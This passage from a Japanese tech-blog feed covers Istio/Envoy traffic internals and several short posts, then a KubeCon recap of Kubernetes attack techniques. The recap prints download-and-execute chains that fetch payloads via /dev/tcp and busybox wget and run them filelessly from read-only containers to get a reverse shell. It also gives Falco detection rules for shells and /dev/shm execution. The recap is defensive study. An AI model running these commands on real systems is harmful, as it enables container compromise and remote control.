リソースとEnvoyの設定の対応関係送信元または宛先Envoyに分けると、各リソースは以下のようにEnvoyの設定を抽象化します。話を簡単にするために、送信元と宛先は同じNamespaceにあると仮定します。他の場合とは異なり、送信元EnvoyでHTTPSリクエストの宛先を決める設定、または宛先EnvoyでHTTPSリクエストを受信する設定を、異なるリソースが抽象化します。PeerAuthenticationだけは、話を簡単にするために送信元と宛先が同じNamespaceであると仮定しているので、同じリソースが抽象化します。送信元Envoyの設定の抽象化で登場するリソースが宛先では登場せず、逆も然りです。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints Gateway VirtualServiceX 〃Y DestinationRuleX 〃Y ServiceEntry PeerAuthentication 送信元 リスナー ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ エンドポイント ✅ ✅ 宛先 リスナー ✅ ✅ ✅ ルート ✅ クラスター ✅ ✅ ✅ エンドポイント ✅ ✅ ▶︎ 送信元と宛先のNamespaceについてistio-egress) においた方が良いです。マイクロサービスとは異なるNamespaceにIstio EgressGatewayを置くことで、Istio EgressGatewayをアップグレードしやすくなったり、他から障害の影響を受けにくくなります\uD83D\uDE46\uD83C\uDFFB‍♂️istio-proxyコンテナ内のEnvoyに当てはめるこの表を、HTTPSリクエストの仕組みの中に当てはめると、以下になります。引用した前述の解説のイメージが掴めるかと思います。送信元または宛先Envoyで同じリソースが登場しません 。リソースの種類だけに着目すると、以下になります。送信元または宛先Envoyで同じリソースが登場しないことがわかりやすくなりました。06. 翻訳されたEnvoy設定値を見てみる前章では、Envoyの具体的な設定値まで、言及しませんでした。本章では、さらに具体化します。各リソースの設定の翻訳によって、Envoyの具体的にどのような設定値になっているのかを解説します。Envoyの現在の設定を出力するEnvoyは、現在の設定を確認するためのエンドポイント (/config_dump) を公開しています。これにHTTPSリクエストを送信し、具体的な設定値を出力してみましょう\uD83D\uDC4D\uD83C\uDFFBリスナーを出力する/config_dumpのクエリストリングにresource={dynamic_listeners}をつけると、Envoyのリスナーを出力できます。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_listeners}\\" | yq -PAdministration interface — envoy 1.32.0-dev-bfa0e0 documentationConfigDump (proto) — envoy 1.33.0-dev-8fd5cc documentation▶ 宛先情報を見やすくするyqコマンドについてyqコマンドでYAMLに変換すると見やすくなります\uD83D\uDC4Dルートを出力する/config_dumpのクエリストリングにresource={dynamic_route_configs}をつけると、Envoyのルートを出力できます。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_route_configs}\\" | yq -PAdministration interface — envoy 1.33.0-dev-8fd5cc documentationConfigDump (proto) — envoy 1.33.0-dev-fcdc9d documentationクラスターを出力する/config_dumpのクエリストリングにresource={dynamic_active_clusters}をつけると、Envoyのクラスターを出力できます。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_active_clusters}\\" | yq -PAdministration interface — envoy 1.32.0-dev-bfa0e0 documentationConfigDump (proto) — envoy 1.33.0-dev-8fd5cc documentationエンドポイントを出力する/config_dumpのクエリストリングにinclude_edsをつけると、Envoyのエンドポイントを出力できます。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?include_eds\\" | yq -PAdministration interface — envoy 1.33.0-dev-8fd5cc documentationConfigDump (proto) — envoy 1.33.0-dev-fcdc9d documentationSupported load balancers — envoy 1.33.0-dev-8fd5cc documentation証明書を出力する/config_dumpのクエリストリングにresource={dynamic_active_secrets}をつけると、証明書を出力できます。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_active_secrets}\\" | yq -PConfigDump (proto) — envoy 1.33.0-dev-8fd5cc documentationサービスメッシュ外からのHTTPSここでは、istio-proxyコンテナはHTTPSリクエストを処理するとします。図中の番号に沿って、通信の仕組みを解説します。送信元Pod側のistio-proxyコンテナ送信元マイクロサービスからのHTTPSリクエストの宛先ポート (例:50000) で、リスナーを絞り込みます。Envoyは、リスナーを宛先ポートで管理しています (例:0.0.0.0_50000) 。HTTPSリクエストを処理するための各種フィルターを選びます。また、宛先とTLSハンドシェイクを実行し、パケットのL7のアプリケーションデータを復号化します。HTTPフィルターにより、HTTPSリクエストの宛先ポート (例:50000) で、ルートを絞り込みます。Envoyは、ルートを宛先ポートで管理しています (例:50000) 。HTTPフィルターにより、HTTPSリクエストの宛先ホスト (例:foo-service.foo-namespace.svc.cluster.local) やパス (例:/) で、クラスターを絞り込みます。Envoyは、クラスターを宛先ポートやホストで管理しています (例:outbound|50010|foo-service.foo-namespace.svc.cluster.local) 。設定した負荷分散方式 (例:ラウンドロビンなど) に応じて、Service配下のPodを選びます。Envoyは、エンドポイントをPodのIPアドレスや宛先ポートで管理しています (例::50000) 。宛先との間でTLS接続を確立し、パケットのL7のアプリケーションデータを暗号化します。そして、HTTPSリクエストを宛先PodにL7ロードバランシングします。宛先Pod側のistio-proxyコンテナL7ロードバランシングされたHTTPSリクエストの宛先ポート (例:50000) で、リスナーを絞り込みます。Envoyは、リスナーを宛先ポートで管理しています (例:0.0.0.0_50000)HTTPSリクエストを処理するための各種フィルターを選びます。HTTPフィルターにより、HTTPSリクエストの宛先ポート (例:50000) で、ルートを絞り込みます。Envoyは、ルートを宛先ポートで管理しています (例:inbound|50000||) 。HTTPフィルターにより、HTTPSリクエストの宛先ホスト (例:example.com) やパス (例:/) で、クラスターを絞り込みます。Envoyは、クラスターを宛先ポートで管理しています (例:inbound|50000||) エンドポイントを選びます。Envoyは、エンドポイントをローカルホストや宛先ポートで管理しています (例:127.0.0.6:50000) 。 ローカルホストにHTTPSリクエストを送信します。結果的に、宛先マイクロサービスにHTTPSリクエストが届きます。Istio Ingress vs. Kubernetes Ingress – Daniel Watrous on Software and Cloud Engineering▶︎ istio-proxyコンテナのプロキシ先のIPアドレスについてistio-proxyコンテナは、ローカルホストを127.0.0.6とし、HTTPSリクエストをマイクロサービスに送信します。これは、127.0.0.1を指定してしまうと、istio-proxyコンテナからマイクロサービスへの通信がiptables上でループしてしまうためです。istio-proxyコンテナからマイクロサービスへの通信では、正しくはiptables上でISTIO_OUTPUTからPOSTROUTINGに通信を渡します。一方で、もしローカルホストが127.0.0.1であると、ISTIO_OUTPUTからISTIO_IN_REDIRECTに通信を渡すことになり、istio-proxyコンテナに再びリダイレクトしてしまいます。hatappi1225さんの解説が鬼わかりやすかったです\uD83D\uDE4F\uD83D\uDE4F\uD83D\uDE4F画像引用元:mercari engineeringInbound Forwarding - Google ドキュメントiptables から理解する Istio 1.10 から変更された Inbound Forwarding | メルカリエンジニアリングマイクロサービス間のHTTPSここでは、istio-proxyコンテナはHTTPSリクエストを処理するとします。図中の番号に沿って、通信の仕組みを解説します。送信元Pod側のistio-proxyコンテナ送信元マイクロサービスからのHTTPSリクエストの宛先ポート (例:50010) で、リスナーを絞り込みます。Envoyは、リスナーを宛先ポートで管理しています (例:0.0.0.0_50010) 。HTTPSリクエストを処理するための各種フィルターを選びます。また、宛先とTLSハンドシェイクを実行し、パケットのL7のアプリケーションデータを復号化します。HTTPフィルターにより、HTTPSリクエストの宛先ポート (例:50010) で、ルートを絞り込みます。Envoyは、ルートを宛先ポートで管理しています (例:50010) 。HTTPフィルターにより、HTTPSリクエストの宛先ホスト (例:foo-service.foo-namespace.svc.cluster.local) やパス (例:/) で、クラスターを絞り込みます。Envoyは、クラスターを宛先ポートやホストで管理しています (例:outbound|50010|foo-service.foo-namespace.svc.cluster.local) 。設定した負荷分散方式 (例:ラウンドロビンなど) に応じて、Service配下のPodを選びます。Envoyは、エンドポイントをPodのIPアドレスや宛先ポートで管理しています (例::50010) 。宛先との間でTLS接続を確立し、パケットのL7のアプリケーションデータを暗号化します。そして、HTTPSリクエストを宛先PodにL7ロードバランシングします。宛先Pod側のistio-proxyコンテナL7ロードバランシングされたHTTPSリクエストの宛先ポート (例:50010) で、リスナーを絞り込みます。Envoyは、リスナーを宛先ポートで管理しています (例:0.0.0.0_50010)HTTPSリクエストを処理するための各種フィルターを選びます。HTTPフィルターにより、HTTPSリクエストの宛先ポート (例:50010) で、ルートを絞り込みます。Envoyは、ルートを宛先ポートで管理しています (例:inbound|50010||) 。HTTPフィルターにより、HTTPSリクエストの宛先ホスト (例:example.com) やパス (例:/) で、クラスターを絞り込みます。Envoyは、クラスターを宛先ポートで管理しています (例:inbound|50010||) エンドポイントを選びます。Envoyは、エンドポイントをローカルホストや宛先ポートで管理しています (例:127.0.0.6:50010) 。 ローカルホストにHTTPSリクエストを送信します。結果的に、宛先マイクロサービスにHTTPSリクエストが届きます。Istio流量管理实现机制深度解析-赵化冰的博客 | Zhaohuabing Blogサービスメッシュ外へのHTTPSここでは、istio-proxyコンテナはHTTPSリクエストを処理するとします。図中の番号に沿って、通信の仕組みを解説します。送信元Pod側のistio-proxyコンテナ送信元マイクロサービスからのHTTPSリクエストの宛先ポート (例:443) で、リスナーを絞り込みます。Envoyは、リスナーを宛先ポートで管理しています (例:0.0.0.0_443) 。HTTPSリクエストを処理するための各種フィルターを選びます。また、宛先とTLSハンドシェイクを実行し、パケットのL7のアプリケーションデータを復号化します。HTTPフィルターにより、HTTPSリクエストの宛先ポート (例:443) で、ルートを絞り込みます。Envoyは、ルートを宛先ポートで管理しています (例:443) 。HTTPフィルターにより、HTTPSリクエストの宛先ホスト (例:istio-egressgateway-service.foo-namespace.svc.cluster.local) やパス (例:/) で、クラスターを絞り込みます。Envoyは、クラスターをIstio EgressGateway 宛先ポートやホストで管理しています (例:outbound|443|istio-egressgateway-service.foo-namespace.svc.cluster.local) 。設定した負荷分散方式 (例:ラウンドロビンなど) に応じて、Istio EgressGateway Service配下のPodを選びます。Envoyは、エンドポイントをPodのIPアドレスや宛先ポートで管理しています (例::443) 。宛先との間でTLS接続を確立し、パケットのL7のアプリケーションデータを暗号化します。そして、Istio EgressGateway PodにL7ロードバランシングします。宛先Pod (Istio EgressGateway Pod) 側のistio-proxyコンテナL7ロードバランシングされたHTTPSリクエストの宛先ポート (例:443) で、リスナーを絞り込みます。Envoyは、リスナーを宛先ポートで管理しています (例:0.0.0.0_443)HTTPSリクエストを処理するための各種フィルターを選びます。HTTPフィルターにより、HTTPSリクエストの宛先ポート (例:443) で、ルートを絞り込みます。Envoyは、ルートを宛先ポートで管理しています (例:inbound|50010||) 。HTTPフィルターにより、HTTPSリクエストの宛先ホスト (例:external.com) やパス (例:/) で、クラスターを絞り込みます。Envoyは、クラスターを宛先ポートやホストで管理しています (例:outbound|443|external.com) 。エンドポイントを選びます。Envoyは、エンドポイントをエントリ済システムのIPアドレスや宛先ポートで管理しています (例::50010) 。エントリ済システムのIPアドレスは、開発者が設定する必要はなく、EnvoyがDNSから動的に取得します。 エントリ済システムにHTTPSリクエストを送信します。Using Istio to MITM our users’ traffic | Steven ReitsmaIngress, egress, ServiceEntry DATA Flow issues for ISTIO API Gateway? - Discuss Istio07. おわりにIstioサイドカーメッシュがEnvoyのHTTPSリクエストの処理をどのように抽象化するのか、またEnvoyがどのようにHTTPSリクエストを処理するのかを解説しました。次々とサービスメッシュツールが登場したとしても、それがEnvoyを使用したサービスメッシュである限り、最終的にはEnvoyの設定値に行き着きます。そのため、抽象化されたEnvoyがどのように通信を扱うのかを一度でも理解すれば、様々なサービスメッシュツールで知識を流用できると思います。Istioはもちろん、他のEnvoyによるサービスメッシュツール (Consul、Ciliumなど) を使っている方の参考にもなれば幸いです\uD83D\uDC4D\uD83C\uDFFB謝辞今回、Kubernetesのネットワークを調査するにあたり、以下の方に知見をご教授いただきました。@ken5owata さんこの場で感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍記事関連のおすすめ書籍Istio in Action (English Edition)作者:Posta, Christian E.,Maloku, RinorManningAmazonIstio: Up and Running: Using a Service Mesh to Connect, Secure, Control, and Observe作者:Calcote, Lee,Butcher, ZackO\'ReillyAmazon","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2024/01/16/013404","isoDate":"2024-01-15T16:34:04.000Z","dateMiliSeconds":1705336444000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"スリーシェイク、「AWS アドバンストティアサービスパートナー」に昇格","contentSnippet":"株式会社スリーシェイクは、アマゾン ウェブ サービス(以下、AWS)のAWSパートナーネットワーク(APN)において「AWS アドバンストティアサービスパートナー」に認定されたことをお知らせいたします。The post スリーシェイク、「AWS アドバンストティアサービスパートナー」に昇格 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/aws-advancedtier/","isoDate":"2024-01-12T00:50:00.000Z","dateMiliSeconds":1705020600000,"authorName":"Sreake","authorId":"Sreake"},{"title":"k8sgpt-operator 開発メモ (ARM Mac 向け)","contentSnippet":"Kubernetes クラスタ構築 AMD64 コンテナ環境セットアップ ~ Lima VM ~https://github.com/lima-vm/limaGetting Started については README.md 参照Limaでは、事前に定義した内容でVMを作ることができますDocker 環境を構築する場合のサンプルも公開されていますhttps://github.com/lima-vm/lima/blob/master/examples/docker.yaml今回は、amd64 の VM を作成したいため、docker.yaml に以下の行を追記...","link":"https://zenn.dev/tozastation/articles/711f2bff2cc656","isoDate":"2024-01-10T00:17:57.000Z","dateMiliSeconds":1704845877000,"authorName":"tozastation","authorId":"tozastation"},{"title":"PipeCDのインストールとカスタマイズ","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の荒木です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。 前回の記事では、Kubernetes […]The post PipeCDのインストールとカスタマイズ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pipecd-installation/","isoDate":"2024-01-09T04:09:23.000Z","dateMiliSeconds":1704773363000,"authorName":"Sreake","authorId":"Sreake"},{"title":"PipeCDの概要","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の荒木です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。 この記事の目的は、Kubernete […]The post PipeCDの概要 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pipecd-overview/","isoDate":"2024-01-09T04:05:16.000Z","dateMiliSeconds":1704773116000,"authorName":"Sreake","authorId":"Sreake"},{"title":"WSL の Linux から Windows のブラウザで URL を開く","contentSnippet":"課題 WSL の Linux 内で awscli を使って SSO 認証する場合の aws sso login 実行時や GitHub の CLI である gh (cli.github.com ) コマンドで gh auth login を実行した場合に可能であれば自動でブラウザで指定の URL","link":"https://blog.1q77.com/2024/01/open-browser-in-wsl/","isoDate":"2024-01-07T11:43:53.000Z","dateMiliSeconds":1704627833000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"2023年の振り返りをする","contentSnippet":"みんな振り返りしてる。振り返りしてないのはお前だけ。なので振り返りします。登壇関係2023-06-22 3-shake SRE Tech Talk #6これまで対外向けの登壇は行なったことが無かったのでこれが登壇デビューでした。DBREノススメ所属会社である株式会社スリーシェイクの主催するイベントでしたが、一度登壇すると登壇のハードルが低くなるのでとてもいい機会でした。今の会社にDBREerポジションで入社して6か月目の登壇なので今見ると当時と違う意見の部分もあったりしますが、今もDBREもSREも何なのか分かりません。2023-09-26 YugabyteDB Japan Meetup #3別件でYugabyte Japanの方と話していたところ、登壇してみないか? と誘われたためホイホイ話しに行った登壇でした。紹介 データベース信頼性エンジニアリングSRETTの方ではSREの存在を認知している方が多いだろうと想定して何故DBREが必要なのか? という話しをしたのに対して、こちらではDB関係者が多いと想いDBAとDBREという切り口で発表しました。YugabyteDBはドキュメントを始めから読む活動をしていたり(2023年後半はあまり出来ていませんが)、ローカル環境で動かして遊んだりはしていたもののYugabyteDBについて話せるほどの理解は(今も)なく次にYugabyteDB Japan Meetupで話す機会があればYugabyteDBについてを主題に話したいと思いました。2023-10-12 3-shake SRE Tech Talk #76月の登壇と同様に所属会社主催のイベントでした。KubernetesでDBを動かしたい2021年ごろにDBをKubernetesで動かす記事見て以来DB on Kubernetesには興味があったのですが、Kubernetes自体やデータベースのお勉強をしていたらなかなかDB on k8sまでたどりつけていませんでした。それをイベント駆動で無理やり勉強したのがこのイベントでした。内容としてはありきたりですが、Zalando Postgres Operatorを動かしましたというだけのものですが、ここでDB on k8sをさわってからはいろいろな機会でDB on k8sを触るようになりました。2023-12-26 第44回 PostgreSQLアンカンファレンス@オンライン年内最後の登壇はPostgreSQLアンカンファレンスでした。pgrollで実現するスキーマブルーグリーンデプロイメントちょうど登壇しやすいネタを抱えてたのとアドベントカレンダーでそーだいさんが運用・開発よりの話しが足りないと書いていたのを見て、DBREを名乗っているし話さなきゃいけないだろと思ったので登壇しました。もっと運用よりだったりサービス開発だったり設計よりの話も募集中です。 大体そういうの喋る担当が自分だけなのでめちゃめちゃ需要があるので気軽にどうぞ。登壇自体はpodman-composeとdocker composeの差分で悲しいライブデモになりました。検証環境と登壇環境はそろえなきゃいけないなと思いました。ブログ関連はてなブログでは主に読んだ論文やドキュメントについてまとめ、zennでは何かを調べてまとめたものや検証した結果をまとめるように使い分け運用しました。はてなブログでやっているYugabyteDBのドキュメントを全部読む取り組みは途中で止ってしまっているので動かします。zennの方は社内向けに話すもののうち社外に出しても問題ないようなものを垂れ流していましす。2024年は技術検証方面に力をいれたいのでzennを活発に出来たらなと思います。アドベントカレンダーは大風呂敷で畳みきれなかったデータベースエンジニアのためのDB on Kubernetes入門ガイドに始まり、誰得なのかわからないAlloyDB omni on Kubernetesを眺めると続いて、sqldefとpgrollを利用したPostgreSQLでのスキーマブルーグリーンデプロイメントを書きました。ターゲットは誰だったんですかね?まとめ2023年は今までインプット重視だったところからアウトプットを考えだした年でした。これはそろそろアウトプットをしなきゃいけないという思いもあったものの、2023年1月に現職に転職し社外へのアウトプットをする人が多くいたからという面も多大にあります。人は周りの5人の平均になるという言葉があるらしいですが、まさしくその例で環境が変り周りの人が変ったため個人の方向性も変ったのではないかと思います。外部にアウトプットすることが偉いわけではありませんが、外部に発信すると新しい機会も産まれましたし1来年以降も継続していきたいです。↩","link":"https://nnaka2992.hatenablog.com/entry/zatu/2023_furikaeri","isoDate":"2023-12-31T13:00:10.000Z","dateMiliSeconds":1704027610000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"KubeCon NA 2023 Recap: Attacking Kubernetes 編","contentSnippet":"本記事は 3-shake Advent Calendar 2023 最終日の記事です。こんにちは、きょー (@kyohmizu) です少し旬を逃してしまいましたが、KubeCon NA 2023 の振り返りをしたいと思います。私はKubeConにはリアル参加しておらず、後からセッション動画を見ました。Kubernetes 編」ということで、Kubernetes へのサイバー攻撃テクニックに関するセッションを3つご紹介します。ちなみに本内容は、先日開催された CloudNative Days Tokyo 2023 にてお話しするか検討していたのですが、準備期間とセッション時間 (20分) の都合で泣く泣く諦めたものになります。 speakerdeck.comそれではセッション紹介に入ります。K8s Post-Exploitation: Privilege Escalation, Sidecar Container Injection, and Runtime Securityセッション情報Kubernetes クラスタに侵入した攻撃者が行う攻撃手法と、その対策を紹介するセッションです。最初に TeamTNT の行った攻撃キャンペーンについて、過去の調査レポートをベースに説明しています。クラスタへの初期アクセスの後、kubelet API のデフォルトポート (10250) を狙ってネットワークスキャンをかけています。スキャンによって kubelet API を発見した場合、kubelet API にPOSTリクエストを送り、最終的にノード内の全コンテナに対しクリプトマイナーをダウンロードします。詳細は調査レポートを参照いただきたいですが、攻撃コードを見るとどのように攻撃が行われるのかイメージしやすいと思います。この攻撃はアプリコンテナ内でクリプトマイナーを実行するため、早期に発見されてしまう可能性があります。そこでより発見されにくい攻撃手法として、セッション後半では「Sidecar Injection 攻撃」を取り上げています。Sidecar Injection 攻撃 は Microsoft の「Threat Matrix for Kubernetes」で紹介されている攻撃テクニックです。ちなみに MITRE ATT&CK の Containers Matrix にはこのテクニックは含まれていません。Sidecar Injection 攻撃は名前の通り、Pod 内のサイドカーコンテナを標的とします。セッション内で攻撃のサンプルコードが公開されていましたが、Pod 内のサイドカーコンテナのみを選択しクリプトマイナーを実行することを目的としているようでした。個人的にあまりピンと来なかったのは、アプリコンテナではなくサイドカーコンテナを狙うことで本当に攻撃を秘匿できるのか?という点です。サイドカーかはあまり関係ない気がします。そして最後に、これらの攻撃に対するセキュリティ対策について説明しています。Kubernetes セキュリティとして、イメージスキャンアドミッションコントロールランタイムセキュリティの3つのカテゴリを挙げ、実行中のコンテナに対する攻撃にはランタイムセキュリティが有効であると述べています。Falco を取り上げ、今回の攻撃に対する Falco ルールも公開されました。- list: shell_binaries items: [bash, csh, ksh, sh, tcsh, zsh, dash]- macro: shell_procs condition: proc.name in (shell_binaries)- rule: shell_in_container desc: notice shell activity within a container condition: > spawned process and container and shell_procs output: > shell in a container (user=%user.name container_id=%container.id container_name=%container.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline) priority: WARNINGArbitrary Code & File Execution in R/O FS – Am I Write?セッション情報readOnlyRootFilesystem: true が設定されたコンテナにおいて、コンテナ内で攻撃コードを実行するテクニックを3つ紹介しています。Readonly Filesystem では、ファイルの読み込み (Read) と実行 (Execute) はできるが書き込み (Write) ができないという特徴があります。マルウェアを配置したりすることを防止します。ファイルレスマルウェアの攻撃も存在しますが、コンテナ内に curl や wget のようなツールが含まれていなければマルウェアをダウンロードできません。それではセッション内の3つのケースについて見ていきます。ここではすべてを紹介しきれないため、より詳しく知りたい方は動画を見たりツールを調べたりしてみてください。ケース1curl や wget のようなネットワークツールがない場合、どのように攻撃コードのファイルをダウンロードするのでしょうか?/dev/tcp を利用して TCP コネクションを確立し、ファイルをダウンロードしています。ただしダウンロードしたファイルを書き込むことはできないため、メモリ上で直接実行する必要があります。これには DDExec を使い、プロセスをハイジャックすることでファイルレス実行を可能にします。$ function __bindown () { read proto server path <<<$(echo ${1//// }) FILE=/${path// //} HOST-${server//:*} PORT=${server//*:} [[ x\\"$(HOST)\\" == x\\"${PORT}\\" ]] && PORT=8080 exec 3<>/dev/tcp/${HOST]/$PORT echo -en \\"GET ${(FILE) HTTP/1.0\\\\r\\\\nHost: $(HOST)\\\\r\\\\n\\\\r\\\\n\\" >&3 (while read line; do [[ \\"$line\\" == $\'\\\\r\' ]] && break done && cat) <&3 exec 3>&-}$ __bindown http://192.168.88.4:8080/shell.b64 | bash <(__bindown http://192.168.88.4:8080/ddexec.sh)base64 エンコードした攻撃用バイナリと ddexec.sh をそれぞれダウンロードし、ddexec.sh は bash で実行します。ケース2今回はコンテナイメージとして alpine を利用しています (ケース1は nginx でした)。alpine には bash が存在せず、/dev/tcp をそのまま実行することができないため、別の方法でファイルのダウンロードを試みます。curl や wget は存在しませんが、alpine には busybox がインストールされています。ファイルのダウンロードには busybox wget を利用し、ダウンロード先には Readonly RootFS の中でも書き込み可能な tmpfs を選択しています。$ mount | grep shmshm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)バイナリコードを直接実行できる ddsc.sh をダウンロードし、/dev/shm に保存します。noexec でマウントされているためファイルの実行はできませんが、ddsc.sh はシェルスクリプトなので sh から実行可能です。$ dde=$(mktemp -p /dev/shm)$ busybox wget -O - https://raw.githubusercontent.com/arget13/DDexec/main/ddsc.sh > $dde$ code=$(mktemp -p /dev/shm)$ echo \\"6a295899...60f05\\" > $code$ sh $dde -x < $codeケース3ケース2と同じマニフェストから作られた alpine コンテナの環境です。ファイルのダウンロードには引き続き busybox を利用しています。termination-log にファイルを保存し、リンカを利用してファイルを実行します。Kubernetes にはコンテナの終了メッセージを取得する機能があり、取得元ファイルのデフォルトパスが /dev/termination-log となっています。元々終了メッセージを書き込むことを想定したファイルなので、当然ながら書き込み可能です。これを攻撃用ファイルのダウンロード先に利用します。(終了メッセージの詳細は公式ドキュメントを参照ください)$ mount | grep termination-log/dev/vda1 on /dev/termination-log type ext4 (rw,relatime)mount コマンドの結果から、termination-log のマウントには noexec 属性がついていないことがわかります。これによりリンカを利用したファイル実行が可能となります。$ lddmusl libc (x86_64)Version 1.2.4_git20230717Dynamic Program LoaderUsage: /lib/ld-musl-x86_64.so.1 [options] [--] pathnameldd コマンドにより、リンカの使い方は /lib/ld-musl-x86_64.so.1 [実行ファイルのパス] であることがわかりました。あとは攻撃用ファイルをダウンロードして実行するだけです。$ busybox wget -O - https://raw.githubusercontent.com/arget13/DDexec/main/c-shell > /dev/termination-log$ /lib/ld-musl-x86_64.so.1 /dev/termination-logケース1, 2と同様、実行後にはリバースシェルが確立されています。攻撃テクニックの説明は以上となります。seccomp や SELinux の活用termination-log の場所の指定コンテナ内の通信やプロセスの監視seccomp や SELinux は対策としては一般的ですが、termination-log については聞いたことがなく、興味深い内容でした。ただしログの場所を変更できても noexec を付与する方法は見つけられなかったので、有効な対策と言えるかどうかはやや疑問が残りました。ケース2の /dev/shm を利用した攻撃については、検知するための Falco ルールも例示されました。- rule: Execution from /dev/shm desc: This rule detects file execution from the /dev/shm directory, a common tactic for threat actors to stash their readable+writable+(sometimes)executable files. condition: > spawned_process and (proc.exe startswith \\"/dev/shm/\\" or (proc.cwd startswith \\"/dev/shm/\\" and proc.exe startswith \\"./\\" ) or (shell_procs and proc.args startswith \\"-c /dev/shm\\") or (shell_procs and proc.args startswith \\"-i /dev/shm\\") or (shell_procs and proc.args startswith \\"/dev/shm\\") or (proc.args contains \\"/dev/shm\\" or proc.cwd startswith \\"/dev/shm\\") or (proc.cwd startswith \\"/dev/shm/\\" and proc.args startswith \\"./\\" )) and not container.image.repository in (falco_privileged_images, trusted_images) output: \\"File execution detected from /dev/shm (proc.cmdline=%proc.cmdline connection=%fd.name user.name=%user.name user.loginuid=%user.loginuid container.id=%container.id evt.type=%evt.type evt.res=%evt.res proc.pid=%proc.pid proc.cwd=%proc.cwd proc.ppid=%proc.ppid proc.pcmdline=%proc.pcmdline proc.sid=%proc.sid proc.exepath=%proc.exepath user.uid=%user.uid user.loginname=%user.loginname group.gid=%group.gid group.name=%group.name container.name=%container.name image=%container.image.repository)\\" priority: WARNING本セッションは発表者が6月に投稿した記事をもとにしているようなので、併せて読んでいただくと良いかもしれません。また資料中の Pod のマニフェストはそのまま apply するとエラーになるため、ご自身で環境を再現したい方は以下をご利用ください。ケース1:apiVersion: v1kind: Podmetadata: name: method1-podspec: containers: - name: nginx image: nginx:latest securityContext: readOnlyRootFilesystem: true runAsUser: 101 ports: - containerPort: 80 volumeMounts: - mountPath: /var/run name: run - mountPath: /var/cache/nginx name: nginx-cache securityContext: seccompProfile: type: RuntimeDefault volumes: - name: run emptyDir: {} - name: nginx-cache emptyDir: {}ケース2, 3:apiVersion: v1kind: Podmetadata: name: method2-podspec: containers: - name: alpine image: alpine command: - sleep args: - \\"3600\\" securityContext: readOnlyRootFilesystem: true runAsUser: 65534 securityContext: seccompProfile: type: RuntimeDefaultRBACdoors: How Cryptominers Are Exploiting RBAC Misconfigsセッション情報system:anonymous ユーザーに cluster-admin ロールを付与していた場合の攻撃事例を紹介しています。cluster-admin は事前定義された ClusterRole で、クラスタ内のすべてのリソースに対する権限を持っています。system:anonymous は匿名リクエストに対して割り当てられているユーザーです。Kubernetes クラスタに対して認証なしであらゆるリソース操作ができてしまいます。今回の攻撃シナリオは以下の通りです。Kubernetes API Server をスキャンし、設定ミスのあるクラスタを発見DaemonSet としてクリプトマイナー (XMRig) を設置cluster-admin の証明書を作成し、クラスタへの侵害を永続化証明書作成の痕跡を削除興味深い点として、クリプトマイナーを設置する際に ClusterRoleBinding と DaemonSet を作成しますが、リソース名を kube-controller とすることで正規のリソースを偽装しています。運用業務でクラスタ内のリソースを確認したとしても、クリプトマイナーの存在に気づかないかもしれません。リポジトリも kubernetesio/~ のように偽装しています。また今回はCSRを削除していますが、cluster-admin を持っていれば、クラスタ内で行われる検知の回避や防御の無効化も容易にできてしまいます。クラスタとは別のレイヤーで、監査ログの監視などを行う必要があるかもしれません。パブリッククラウドを利用する場合、クラスタ内のセキュリティ対策とクラウド上の監視サービスを併用するのが良さそうです。セッション後半では、取るべきセキュリティ対策について紹介しています。Kubernetes API Server へのアクセスのネットワーク制限--anonymous-auth=false による匿名リクエストを無効化アドミッションコントローラーによる cluster-admin のバインディング禁止検知策として、設定ミスの検知Kubernetes API への攻撃の検知マイニングの検知のそれぞれ3つの対策が挙げられています。設定ミスの対策では、system:anonymous や system:authenticated に付与された権限がないか確認するためのスクリプトが紹介されています。Kubernetes の監査ログを監視することも有効です。Google Cloud の Security Command Center (SCC) には脅威検知の機能がありますが、この機能を利用すれば GKE に対する設定ミスや攻撃を検知できます。(発表者は Google Cloud の方です)マイニングの検知について、IoC (Indicator of Compromise) を利用する方法がセッション内では紹介されています。既知のマルウェアコンテナや悪意のあるバイナリ、攻撃サーバのIPアドレス等と照合することで攻撃を検知します。SCC におけるマイニング検知のベストプラクティスも興味があれば読んでみてください。おわりにいかがだったでしょうか?Kubernetes への攻撃手法を知ることは、(それ自体面白いというのもありますが) リスクベースのセキュリティ対策を検討する上で非常に有用です。このセキュリティ対策はどのような攻撃リスクを軽減してくれるのかこの攻撃が行われた場合、どのセキュリティ対策によって防ぐことができるのかといった観点で考えてみることをお勧めします。Kubernetes クラスタを目指して、皆で取り組んでいきましょう。","link":"https://kyohmizu.hatenablog.com/entry/2023/12/31/040720","isoDate":"2023-12-30T19:07:20.000Z","dateMiliSeconds":1703963240000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"Step Functionsを利用してNAT 